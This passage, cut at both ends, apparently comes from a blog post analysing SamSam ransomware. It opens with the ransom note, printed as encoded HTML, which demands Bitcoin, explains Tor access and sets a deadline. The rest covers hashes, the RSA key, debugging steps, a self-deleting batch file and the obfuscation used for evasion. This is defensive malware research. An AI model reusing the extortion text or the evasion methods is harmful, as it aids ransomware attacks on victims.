color=’Red’&gt;&lt;center&gt;&lt;h3&gt;&amp;#35;&amp;#72;&amp;#111;&amp;#119;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#114;&amp;#101;&amp;#99;&amp;#111;&amp;#118;&amp;#101;&amp;#114;&amp;#32;&amp;#102;&amp;#105;&amp;#108;&amp;#101;&amp;#115;&amp;#63;&lt;/h3&gt;&lt;/center&gt;&lt;/font&gt;&amp;#82;&amp;#83;&amp;#65;&amp;#32;&amp;#105;&amp;#115;&amp;#32;&amp;#97;&amp;#32;&amp;#97;&amp;#115;&amp;#121;&amp;#109;&amp;#109;&amp;#101;&amp;#116;&amp;#114;&amp;#105;&amp;#99;&amp;#32;&amp;#99;&amp;#114;&amp;#121;&amp;#112;&amp;#116;&amp;#111;&amp;#103;&amp;#114;&amp;#97;&amp;#112;&amp;#104;&amp;#105;&amp;#99;&amp;#32;&amp;#97;&amp;#108;&amp;#103;&amp;#111;&amp;#114;&amp;#105;&amp;#116;&amp;#104;&amp;#109;&amp;#44;&amp;#32;&amp;#89;&amp;#111;&amp;#117;&amp;#32;&amp;#110;&amp;#101;&amp;#101;&amp;#100;&amp;#32;&amp;#111;&amp;#110;&amp;#101;&amp;#32;&amp;#107;&amp;#101;&amp;#121;&amp;#32;&amp;#102;&amp;#111;&amp;#114;&amp;#32;&amp;#101;&amp;#110;&amp;#99;&amp;#114;&amp;#121;&amp;#112;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#32;&amp;#97;&amp;#110;&amp;#100;&amp;#32;&amp;#111;&amp;#110;&amp;#101;&amp;#32;&amp;#107;&amp;#101;&amp;#121;&amp;#32;&amp;#102;&amp;#111;&amp;#114;&amp;#32;&amp;#100;&amp;#101;&amp;#99;&amp;#114;&amp;#121;&amp;#112;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#10;&amp;#83;&amp;#111;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#32;&amp;#110;&amp;#101;&amp;#101;&amp;#100;&amp;#32;&amp;#80;&amp;#114;&amp;#105;&amp;#118;&amp;#97;&amp;#116;&amp;#101;&amp;#32;&amp;#107;&amp;#101;&amp;#121;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#114;&amp;#101;&amp;#99;&amp;#111;&amp;#118;&amp;#101;&amp;#114;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#102;&amp;#105;&amp;#108;&amp;#101;&amp;#115;&amp;#46;&amp;#10;&amp;#73;&amp;#116;&amp;#39;&amp;#115;&amp;#32;&amp;#110;&amp;#111;&amp;#116;&amp;#32;&amp;#112;&amp;#111;&amp;#115;&amp;#115;&amp;#105;&amp;#98;&amp;#108;&amp;#101;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#114;&amp;#101;&amp;#99;&amp;#111;&amp;#118;&amp;#101;&amp;#114;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#102;&amp;#105;&amp;#108;&amp;#101;&amp;#115;&amp;#32;&amp;#119;&amp;#105;&amp;#116;&amp;#104;&amp;#111;&amp;#117;&amp;#116;&amp;#32;&amp;#112;&amp;#114;&amp;#105;&amp;#118;&amp;#97;&amp;#116;&amp;#101;&amp;#32;&amp;#107;&amp;#101;&amp;#121;&lt;font color=’red’&gt;&lt;center&gt;&lt;h3&gt;&amp;#35;&amp;#72;&amp;#111;&amp;#119;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#103;&amp;#101;&amp;#116;&amp;#32;&amp;#112;&amp;#114;&amp;#105;&amp;#118;&amp;#97;&amp;#116;&amp;#101;&amp;#32;&amp;#107;&amp;#101;&amp;#121;&amp;#63;&lt;/h3&gt;&lt;/center&gt;&lt;/font&gt;&amp;#89;&amp;#111;&amp;#117;&amp;#32;&amp;#99;&amp;#97;&amp;#110;&amp;#32;&amp;#103;&amp;#101;&amp;#116;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#112;&amp;#114;&amp;#105;&amp;#118;&amp;#97;&amp;#116;&amp;#101;&amp;#32;&amp;#107;&amp;#101;&amp;#121;&amp;#32;&amp;#105;&amp;#110;&amp;#32;&amp;#51;&amp;#32;&amp;#101;&amp;#97;&amp;#115;&amp;#121;&amp;#32;&amp;#115;&amp;#116;&amp;#101;&amp;#112;&amp;#58;&lt;br&gt;&lt;font color=’DrakRed’&gt;&amp;#83;&amp;#116;&amp;#101;&amp;#112;&amp;#49;&amp;#58;&lt;/font&gt;&amp;#32;&amp;#89;&amp;#111;&amp;#117;&amp;#32;&amp;#109;&amp;#117;&amp;#115;&amp;#116;&amp;#32;&amp;#115;&amp;#101;&amp;#110;&amp;#100;&amp;#32;&amp;#117;&amp;#115;&amp;#32;&lt;font color=’red’&gt;&amp;#32;&amp;#66;&amp;#105;&amp;#116;&amp;#67;&amp;#111;&amp;#105;&amp;#110;&amp;#115;&lt;/font&gt;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#114;&amp;#101;&amp;#99;&amp;#101;&amp;#105;&amp;#118;&amp;#101;&amp;#32;&amp;#65;&amp;#76;&amp;#76;&amp;#32;&amp;#80;&amp;#114;&amp;#105;&amp;#118;&amp;#97;&amp;#116;&amp;#101;&amp;#32;&amp;#75;&amp;#101;&amp;#121;&amp;#115;&amp;#32;&amp;#102;&amp;#111;&amp;#114;&amp;#32;&amp;#65;&amp;#76;&amp;#76;&amp;#32;&amp;#97;&amp;#102;&amp;#102;&amp;#101;&amp;#99;&amp;#116;&amp;#101;&amp;#100;&amp;#32;&amp;#80;&amp;#67;&amp;#39;&amp;#115;&amp;#46;&lt;br&gt;&lt;font color=’DrakRed’&gt;&amp;#83;&amp;#116;&amp;#101;&amp;#112;&amp;#50;&amp;#58;&lt;/font&gt;&amp;#32;&amp;#65;&amp;#102;&amp;#116;&amp;#101;&amp;#114;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#32;&amp;#115;&amp;#101;&amp;#110;&amp;#100;&amp;#32;&amp;#117;&amp;#115;&amp;#32;&lt;font color=’red’&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;font color=’DrakRed’&gt;&amp;#83;&amp;#116;&amp;#101;&amp;#112;&amp;#51;&amp;#58;&lt;/font&gt; &amp;#87;&amp;#101;&amp;#32;&amp;#119;&amp;#105;&amp;#108;&amp;#108;&amp;#32;&amp;#114;&amp;#101;&amp;#112;&amp;#108;&amp;#121;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#99;&amp;#111;&amp;#109;&amp;#109;&amp;#101;&amp;#110;&amp;#116;&amp;#32;&amp;#119;&amp;#105;&amp;#116;&amp;#104;&amp;#32;&amp;#97;&amp;#32;&amp;#100;&amp;#101;&amp;#99;&amp;#114;&amp;#121;&amp;#112;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#32;&amp;#115;&amp;#111;&amp;#102;&amp;#116;&amp;#119;&amp;#97;&amp;#114;&amp;#101;&amp;#44;&amp;#32;&amp;#89;&amp;#111;&amp;#117;&amp;#32;&amp;#115;&amp;#104;&amp;#111;&amp;#117;&amp;#108;&amp;#100;&amp;#32;&amp;#114;&amp;#117;&amp;#110;&amp;#32;&amp;#105;&amp;#116;&amp;#32;&amp;#111;&amp;#110;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#97;&amp;#102;&amp;#102;&amp;#101;&amp;#99;&amp;#116;&amp;#101;&amp;#100;&amp;#32;&amp;#80;&amp;#67;&amp;#32;&amp;#97;&amp;#110;&amp;#100;&amp;#32;&amp;#97;&amp;#108;&amp;#108;&amp;#32;&amp;#101;&amp;#110;&amp;#99;&amp;#114;&amp;#121;&amp;#112;&amp;#116;&amp;#101;&amp;#100;&amp;#32;&amp;#102;&amp;#105;&amp;#108;&amp;#101;&amp;#115;&amp;#32;&amp;#119;&amp;#105;&amp;#108;&amp;#108;&amp;#32;&amp;#98;&amp;#101;&amp;#32;&amp;#114;&amp;#101;&amp;#99;&amp;#111;&amp;#118;&amp;#101;&amp;#114;&amp;#101;&amp;#100;&lt;br&gt;&lt;font color=’DrakRed’&gt;*&lt;/font&gt;&amp;#79;&amp;#117;&amp;#114;&amp;#32;&amp;#83;&amp;#105;&amp;#116;&amp;#101;&amp;#32;&amp;#65;&amp;#100;&amp;#100;&amp;#114;&amp;#101;&amp;#115;&amp;#115;&amp;#58;&lt;a href=’’&gt;&lt;b&gt;&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&amp;#40;&amp;#73;&amp;#102;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#32;&amp;#115;&amp;#101;&amp;#110;&amp;#100;&amp;#32;&amp;#117;&amp;#115;&amp;#32;&lt;font color=’red’&gt;&amp;#32;&amp;#66;&amp;#105;&amp;#116;&amp;#99;&amp;#111;&amp;#105;&amp;#110;&amp;#115;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#114;&amp;#101;&amp;#99;&amp;#101;&amp;#105;&amp;#118;&amp;#101;&amp;#32;&amp;#104;&amp;#97;&amp;#108;&amp;#102;&amp;#32;&amp;#111;&amp;#102;&amp;#32;&amp;#107;&amp;#101;&amp;#121;&amp;#115;&amp;#40;&amp;#114;&amp;#97;&amp;#110;&amp;#100;&amp;#111;&amp;#109;&amp;#108;&amp;#121;&amp;#41;&amp;#32;&amp;#97;&amp;#110;&amp;#100;&amp;#32;&amp;#97;&amp;#102;&amp;#116;&amp;#101;&amp;#114;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#32;&amp;#118;&amp;#101;&amp;#114;&amp;#105;&amp;#102;&amp;#121;&amp;#32;&amp;#105;&amp;#116;&amp;#32;&amp;#115;&amp;#101;&amp;#110;&amp;#100;&amp;#32;&amp;#50;&amp;#110;&amp;#100;&amp;#32;&amp;#104;&amp;#97;&amp;#108;&amp;#102;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#114;&amp;#101;&amp;#99;&amp;#101;&amp;#105;&amp;#118;&amp;#101;&amp;#32;&amp;#97;&amp;#108;&amp;#108;&amp;#32;&amp;#107;&amp;#101;&amp;#121;&amp;#115;&amp;#32;&amp;#41;&lt;br&gt; &lt;font color=’red’&gt;&lt;center&gt;&lt;h3&gt;&amp;#72;&amp;#111;&amp;#119;&amp;#32;&amp;#84;&amp;#111;&amp;#32;&amp;#65;&amp;#99;&amp;#99;&amp;#101;&amp;#115;&amp;#115;&amp;#32;&amp;#84;&amp;#111;&amp;#32;&amp;#79;&amp;#117;&amp;#114;&amp;#32;&amp;#83;&amp;#105;&amp;#116;&amp;#101;&lt;/h3&gt;&lt;/center&gt;&lt;/font&gt;&amp;#70;&amp;#111;&amp;#114;&amp;#32;&amp;#97;&amp;#99;&amp;#99;&amp;#101;&amp;#115;&amp;#115;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#115;&amp;#105;&amp;#116;&amp;#101;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#32;&amp;#109;&amp;#117;&amp;#115;&amp;#116;&amp;#32;&amp;#105;&amp;#110;&amp;#115;&amp;#116;&amp;#97;&amp;#108;&amp;#108;&amp;#32;&amp;#84;&amp;#111;&amp;#114;&amp;#32;&amp;#98;&amp;#114;&amp;#111;&amp;#119;&amp;#115;&amp;#101;&amp;#114;&amp;#32;&amp;#97;&amp;#110;&amp;#100;&amp;#32;&amp;#101;&amp;#110;&amp;#116;&amp;#101;&amp;#114;&amp;#32;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#115;&amp;#105;&amp;#116;&amp;#101;&amp;#32;&amp;#85;&amp;#82;&amp;#76;&amp;#32;&amp;#105;&amp;#110;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#116;&amp;#111;&amp;#114;&amp;#32;&amp;#98;&amp;#114;&amp;#111;&amp;#119;&amp;#115;&amp;#101;&amp;#114;&amp;#46;&amp;#10;&amp;#89;&amp;#111;&amp;#117;&amp;#32;&amp;#99;&amp;#97;&amp;#110;&amp;#32;&amp;#100;&amp;#111;&amp;#119;&amp;#110;&amp;#108;&amp;#111;&amp;#97;&amp;#100;&amp;#32;&amp;#116;&amp;#111;&amp;#114;&amp;#32;&amp;#98;&amp;#114;&amp;#111;&amp;#119;&amp;#115;&amp;#101;&amp;#114;&amp;#32;&amp;#102;&amp;#114;&amp;#111;&amp;#109;&amp;#32;&lt;font color=’DrakRed’&gt;&lt;/font&gt;&lt;a href=’https://www.torproject.org/download/download.html.en&#39;&gt;https://www.torproject.org/download/download.html.en&lt;/a&gt;&amp;#70;&amp;#111;&amp;#114;&amp;#32;&amp;#109;&amp;#111;&amp;#114;&amp;#101;&amp;#32;&amp;#105;&amp;#110;&amp;#102;&amp;#111;&amp;#114;&amp;#109;&amp;#97;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#32;&amp;#112;&amp;#108;&amp;#101;&amp;#97;&amp;#115;&amp;#101;&amp;#32;&amp;#115;&amp;#101;&amp;#97;&amp;#114;&amp;#99;&amp;#104;&amp;#32;&amp;#105;&amp;#110;&amp;#32;&amp;#71;&amp;#111;&amp;#111;&amp;#103;&amp;#108;&amp;#101;&amp;#32;&amp;#34;&amp;#72;&amp;#111;&amp;#119;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#97;&amp;#99;&amp;#99;&amp;#101;&amp;#115;&amp;#115;&amp;#32;&amp;#111;&amp;#110;&amp;#105;&amp;#111;&amp;#110;&amp;#32;&amp;#115;&amp;#105;&amp;#116;&amp;#101;&amp;#115;&amp;#34;&amp;#32;&lt;br&gt;&lt;br&gt;&lt;font color=’red’&gt;&lt;center&gt;&lt;h3&gt;&amp;#35;&amp;#32;&amp;#84;&amp;#101;&amp;#115;&amp;#116;&amp;#32;&amp;#68;&amp;#101;&amp;#99;&amp;#114;&amp;#121;&amp;#112;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#32;&amp;#35;&lt;/h3&gt;&lt;/center&gt;&lt;/font&gt;&lt;br&gt;&amp;#67;&amp;#104;&amp;#101;&amp;#99;&amp;#107;&amp;#32;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#115;&amp;#105;&amp;#116;&amp;#101;&amp;#44;&amp;#32;&amp;#89;&amp;#111;&amp;#117;&amp;#32;&amp;#99;&amp;#97;&amp;#110;&amp;#32;&amp;#117;&amp;#112;&amp;#108;&amp;#111;&amp;#97;&amp;#100;&amp;#32;&amp;#50;&amp;#32;&amp;#101;&amp;#110;&amp;#99;&amp;#114;&amp;#121;&amp;#112;&amp;#116;&amp;#101;&amp;#100;&amp;#32;&amp;#102;&amp;#105;&amp;#108;&amp;#101;&amp;#115;&amp;#32;&amp;#97;&amp;#110;&amp;#100;&amp;#32;&amp;#119;&amp;#101;&amp;#32;&amp;#119;&amp;#105;&amp;#108;&amp;#108;&amp;#32;&amp;#100;&amp;#101;&amp;#99;&amp;#114;&amp;#121;&amp;#112;&amp;#116;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#102;&amp;#105;&amp;#108;&amp;#101;&amp;#115;&amp;#32;&amp;#97;&amp;#115;&amp;#32;&amp;#100;&amp;#101;&amp;#109;&amp;#111;&amp;#46;&amp;#32;&amp;#32;&lt;br&gt;&lt;font color=’red’&gt;&lt;center&gt;&lt;h3&gt;&amp;#35;&amp;#87;&amp;#104;&amp;#101;&amp;#114;&amp;#101;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#98;&amp;#117;&amp;#121;&amp;#32;&amp;#66;&amp;#105;&amp;#116;&amp;#99;&amp;#111;&amp;#105;&amp;#110;&lt;/h3&gt;&lt;/center&gt;&lt;/font&gt;&lt;br&gt;&amp;#87;&amp;#101;&amp;#32;&amp;#97;&amp;#100;&amp;#118;&amp;#105;&amp;#99;&amp;#101;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#98;&amp;#117;&amp;#121;&amp;#32;&amp;#66;&amp;#105;&amp;#116;&amp;#99;&amp;#111;&amp;#105;&amp;#110;&amp;#32;&amp;#119;&amp;#105;&amp;#116;&amp;#104;&amp;#32;&amp;#67;&amp;#97;&amp;#115;&amp;#104;&amp;#32;&amp;#68;&amp;#101;&amp;#112;&amp;#111;&amp;#115;&amp;#105;&amp;#116;&amp;#32;&amp;#111;&amp;#114;&amp;#32;&amp;#87;&amp;#101;&amp;#115;&amp;#116;&amp;#101;&amp;#114;&amp;#110;&amp;#85;&amp;#110;&amp;#105;&amp;#111;&amp;#110;&amp;#32;&amp;#70;&amp;#114;&amp;#111;&amp;#109;&amp;#32;&amp;#104;&amp;#116;&amp;#116;&amp;#112;&amp;#115;&amp;#58;&amp;#47;&amp;#47;&amp;#108;&amp;#111;&amp;#99;&amp;#97;&amp;#108;&amp;#98;&amp;#105;&amp;#116;&amp;#99;&amp;#111;&amp;#105;&amp;#110;&amp;#115;&amp;#46;&amp;#99;&amp;#111;&amp;#109;&amp;#47;&amp;#32;&amp;#111;&amp;#114;&amp;#32;&amp;#104;&amp;#116;&amp;#116;&amp;#112;&amp;#115;&amp;#58;&amp;#47;&amp;#47;&amp;#99;&amp;#111;&amp;#105;&amp;#110;&amp;#99;&amp;#97;&amp;#102;&amp;#101;&amp;#46;&amp;#99;&amp;#111;&amp;#109;&amp;#47;&amp;#98;&amp;#117;&amp;#121;&amp;#98;&amp;#105;&amp;#116;&amp;#99;&amp;#111;&amp;#105;&amp;#110;&amp;#115;&amp;#119;&amp;#101;&amp;#115;&amp;#116;&amp;#101;&amp;#114;&amp;#110;&amp;#46;&amp;#112;&amp;#104;&amp;#112;&amp;#10;&amp;#66;&amp;#101;&amp;#99;&amp;#97;&amp;#117;&amp;#115;&amp;#101;&amp;#32;&amp;#116;&amp;#104;&amp;#101;&amp;#121;&amp;#32;&amp;#100;&amp;#111;&amp;#110;&amp;#39;&amp;#116;&amp;#32;&amp;#110;&amp;#101;&amp;#101;&amp;#100;&amp;#32;&amp;#97;&amp;#110;&amp;#121;&amp;#32;&amp;#118;&amp;#101;&amp;#114;&amp;#105;&amp;#102;&amp;#105;&amp;#99;&amp;#97;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#32;&amp;#97;&amp;#110;&amp;#100;&amp;#32;&amp;#115;&amp;#101;&amp;#110;&amp;#100;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#66;&amp;#105;&amp;#116;&amp;#99;&amp;#111;&amp;#105;&amp;#110;&amp;#32;&amp;#113;&amp;#117;&amp;#105;&amp;#99;&amp;#107;&amp;#108;&amp;#121;&amp;#46;&lt;br&gt;&lt;br&gt;&lt;font color=’red’&gt;&lt;center&gt;&lt;h3&gt;&amp;#35;&amp;#100;&amp;#101;&amp;#97;&amp;#100;&amp;#108;&amp;#105;&amp;#110;&amp;#101;&lt;/h3&gt;&lt;/center&gt;&lt;/font&gt;&lt;br&gt;&amp;#89;&amp;#111;&amp;#117;&amp;#32;&amp;#106;&amp;#117;&amp;#115;&amp;#116;&amp;#32;&amp;#104;&amp;#97;&amp;#118;&amp;#101;&amp;#32;&amp;#55;&amp;#32;&amp;#100;&amp;#97;&amp;#121;&amp;#115;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#115;&amp;#101;&amp;#110;&amp;#100;&amp;#32;&amp;#117;&amp;#115;&amp;#32;&amp;#116;&amp;#104;&amp;#101;&amp;#32;&amp;#66;&amp;#105;&amp;#116;&amp;#67;&amp;#111;&amp;#105;&amp;#110;&amp;#32;&amp;#97;&amp;#102;&amp;#116;&amp;#101;&amp;#114;&amp;#32;&amp;#55;&amp;#32;&amp;#100;&amp;#97;&amp;#121;&amp;#115;&amp;#32;&amp;#119;&amp;#101;&amp;#32;&amp;#119;&amp;#105;&amp;#108;&amp;#108;&amp;#32;&amp;#114;&amp;#101;&amp;#109;&amp;#111;&amp;#118;&amp;#101;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#112;&amp;#114;&amp;#105;&amp;#118;&amp;#97;&amp;#116;&amp;#101;&amp;#32;&amp;#107;&amp;#101;&amp;#121;&amp;#115;&amp;#32;&amp;#97;&amp;#110;&amp;#100;&amp;#32;&amp;#105;&amp;#116;&amp;#39;&amp;#115;&amp;#32;&amp;#105;&amp;#109;&amp;#112;&amp;#111;&amp;#115;&amp;#115;&amp;#105;&amp;#98;&amp;#108;&amp;#101;&amp;#32;&amp;#116;&amp;#111;&amp;#32;&amp;#114;&amp;#101;&amp;#99;&amp;#111;&amp;#118;&amp;#101;&amp;#114;&amp;#32;&amp;#121;&amp;#111;&amp;#117;&amp;#114;&amp;#32;&amp;#102;&amp;#105;&amp;#108;&amp;#101;&amp;#115;&lt;/pre&gt;&lt;/html&gt;EAAAAL64zV92G5v/huezRw/wRoeWSbwvGFHd5BmNXImLQMQueyWVUB4aGj3Z5l29zggjaSi5Snwc5quVNu1nbubNCqksA+XzDE+T9+ukEqbwCPErRLDdjc68URMkoWRhF/+DglEoUhJFSZb7Yv3zi8l5ybjwIS8vqPAfAplWftRZlEu1gZqHsJCoJW6icQzYthCz/bF5elu2b/2C43FKr4xkujuU1ADy+qUHNBxik5xtyz91h6A5mHHLdFjSnzRJQrxuGEujeBiLtuIdLEO2YiaUB1k=EAAAAEXWRR9Iido+6WIcgJ0neEp6YlC1UI0cHZFdVIYgj2IYWinDir.Properties.Resources”</p><p>Inspection: LoadModule, MemoryStream, ToBase64String, FileAccess, RSACryptoServiceProvider</p><p><strong><em>Publickey.keyxml:</em></strong></p><p>SHA256: e5f6ad503c88055b931c7af7ec52dfd09759330633b2ace4dba9722efd5c876</p><p>MD5: 4e3e18e6140c64cec89f4be5af25751</p><p>Interesting Strings: &lt;RSAKeyValue&gt;&lt;Modulus&gt;5lRbjTmdM2okFAzONhfepTt7gTNMTsSTsXfbbc+ZjpCYjeRzFxD9+Qfxu+moaExNFJGwkwsTLzzX+36/Vszg85jhKImeTvHyLX2b5SnL93JGN9vchkuMEEcP4SNjzJWHvWxYuJL7vBj4sjV81Fxh4HsZsohED0FtMjAR2RP40YaNs/tfGlmFrPBAmeKJF4+uVuxkr0cHtdhhCH+/BPfdqobfMNQ1eIjZj+2IpVYoFPmSOeJFiCvLNEHm8McuEE9BOvSnIs5D8hqDbq0TZdoFuGLRpwaEPYqVNvAYh1H9z+kXkiA/TU/GedKJ5G7bffOkawta7vC7B5kb0DZLpNQw8Q==&lt;/Modulus&gt;&lt;Exponent&gt;AQAB&lt;/Exponent&gt;&lt;/RSAKeyValue&gt;</p><h3>Packing</h3><h3>Detect-It-Easy</h3><p>After opening the sample with detect-it-easy tool it shows me that the binary is not packed but there was at some level I assumed it may be little bit obfuscated and there will be some random strings and junk data to make it difficult for analyst.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*rtidvlBFcIFq7vM-brBXAg.png" /><figcaption>Entropy</figcaption></figure><h3>Capa-Output</h3><p>When I performed CAPA analysis on first stage of malware (WinDir.exe), it indicates that the binary is not packed. The detail verbose analysis also tells the binary is obfuscated and it trigger most of the rules which indicated that the binary is using these tactics and techniques according to MITRE ATT&amp;CK framework. The CAPA analysis also indicates that the binary is using RSA and AES encryption algorithms which tells me in the very first stage of analysis that this could be a ransomware. The first stage sample was also performing the system discovery, file discovery and defense evasion like obfuscation and masquerading files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KqUPUeFiaefXo-uSyHJhTA.png" /><figcaption>Capa output.</figcaption></figure><h3>Static Analysis</h3><p>When I opened the sample using DnSpy and start analyzing the code at very first stage of analysis, I found some random strings and junk data in the main function. This could be to mislead the malware analyst or could be used to bypass static detection of security controls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*E-pIUIOr_-KSh2arUZyjHg.png" /><figcaption>Random Strings.</figcaption></figure><p>In my static analysis of SamSam ransomware, I found some encrypted bytes and string type variable which are storing the string value after decrypting the bytes. The SamSam ransomware is using the DecryptStringAES() function which were taking two parameter one the cipher text and the second was shared secret key. So, at this point I decided to start dynamic analysis and to extract the decrypted string at run time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*HVzKM00Zn3SQAJrdtjU10w.png" /></figure><h3>Basic Dynamic Analysis</h3><h3>Procmon and Process Hacker</h3><p>As an offensive security researcher, I always prefer Procmon and process hacker in my first detonation of malware sample which I analyze. When I executed the sample and captured all traffic using Wireshark and captured the all activities using Procmon, I noticed some interested activities on Procmon. I applied filter on Procmon to check either SamSam write any file or downloading any file on disk at runtime. I noticed that the sample first looking the public key file, if the public key file is existed it execute itself and write a (msctlcpx.bat) file on disk. After writing the batch file it checks the batch file exists and execute that batch file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*PflxslklIAd6RWD6JFcQUg.png" /></figure><p>I didn’t notice any network activity at my initial detonation, so at this stage I will talk about the host-based indicators that I noticed during the initial detonation. When I checked the created batch file in programdata, it contains the code which was checking the running processes in loop and verifying the main process is in running processes or not. If the main process is not in the processes, it was deleting itself and the binary of sample from disk. The batch file was containing the loop and it was pinging local host for 5 times during the loop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Ep33iB1KAisDAwx6hStjgg.png" /></figure><p>After some time, I found that my entire system was encrypted by SamSam Ransomware. So, I checked the encrypted file it was adding the extension (checkdiskenced) and leaving the ransom note with the name of READ-FOR-HELLPP.html.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*DyNqz6Y52abJl8fYG-bqMQ.png" /></figure><h3>Advanced Dynamic Analysis</h3><p>I started advanced dynamic analysis of sample using Dnspy. Dnspy is one of the best debuggers and Decompiler for .NET binaries. WinDir.exe is .Net binary so I open it using dnSpy, In the main function first it was looking for the argument which was the file of public key. After getting the argument, the samples read all the bytes from the file and store them in the variable “pubbbbbbbbbkey”. After that it was checking the directory, if the directory exists then write a file otherwise it creates that directory and write the batch file into it. Now I decided to start detailed dynamic analysis by debugging the program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xKZh1nPZn9yGQ2PfU3gQYg.png" /></figure><h3>Breakpoints:</h3><p>I start analysis step by step and put breakpoints. First, I wanted to know about the file it was taking as an argument then the bytes it was storing in the variable after reading the argument file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*abnEISinySC8RzS_liG3Fw.png" /></figure><p>Following the execution flow and putting breakpoints, I found that the Samsam ransomware was looking “publicKey.keyxml” file and reading all bytes which indicates the public key of RSA-2048 encryption algorithm that was using for encryption in this sample.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*L4HkQ06fmEx1fzLFV7SN9A.png" /></figure><p>After successfully taking the argument, the malware was looking some directory, if the directory already exists than it was creating a new thread and executing something in new thread. But at that time for me important thing was to know about the directory it was looking, so I put breakpoints on following execution and found the path of directory it was looking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*yLmVUTKpXslZHnbb090YVA.png" /></figure><p>When I follow the execution, I found that it was creating a directory, the path and name of directory was encrypted with AES encryption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_8zYCSg6e1Ryxt09z8i8UA.png" /></figure><p>After debugging, I found the decrypted directory path. Samsam was looking the directory “C:\ProgramData\CrashLog”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*M4hUQFYl4Ee896Uz5F4WdQ.png" /></figure><p>When I decrypted the name of subdirectory it was appending with path of folder “C:\ProgramData\”. Samsam sample was looking for the path of that directory. “C:\ProgramData\CrashLog\”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*e_XJ_NDl4E4kCKyvp4L3_w.png" /></figure><p>For the verification of created directory, I just executed the instructions of directory creation function and recorded all activities using Procmon. I found on the Procmon that same results that I extracted from debugging and putting breakpoints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*yI1yDaUgU8O15XyRd_jR6Q.png" /></figure><p>After creating the directory, the instructions were to create a new thread and start. Samsam ransomware was starting something as a new thread. Now I wanted to know about the process it was starting as a new thread. Before creating the new thread there was some junk strings and random sleeps which at that point, I was considering the time-based sandbox evasion or it could be used to bypass security controls solutions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*al85KYKIb2qNWLrKceL09Q.png" /></figure><p>When I followed the execution follow, I found that it was starting a function <strong>“rul_nlo_opf_or_chek_” </strong>as a thread and in that function, there was new things were happening. This function was writing some content in file at that point, I don’t know about the file name, the path where the file is written and the content of that file. After writing file the function was starting the process by executing that created file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*kcbK-G4wfgScSXDURSaMgg.png" /></figure><p>So, at that point my main target was to know about the file path and the content written in that file. I started my analysis in the same flow and put the breakpoints on each function return statement and check the content and path of that file. I found that the name of file and the content was fully encrypted with AES encryption so, I start debugging and check the decrypted values at runtime. This was the first decrypted string <strong>“@echo off\nSETLOCAL EnableExtensions\nset \”EXE=”</strong>. It looks command which is enabling extension and telling the extension type.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*5-mz6Vu5RpWzQAI0dcmtKw.png" /></figure><p>The second string after decrypting was <strong>“\”\nset \”PEXE=”. </strong>It looks that it was setting or assigning the PE file to a variable.</p><figure><img alt="" 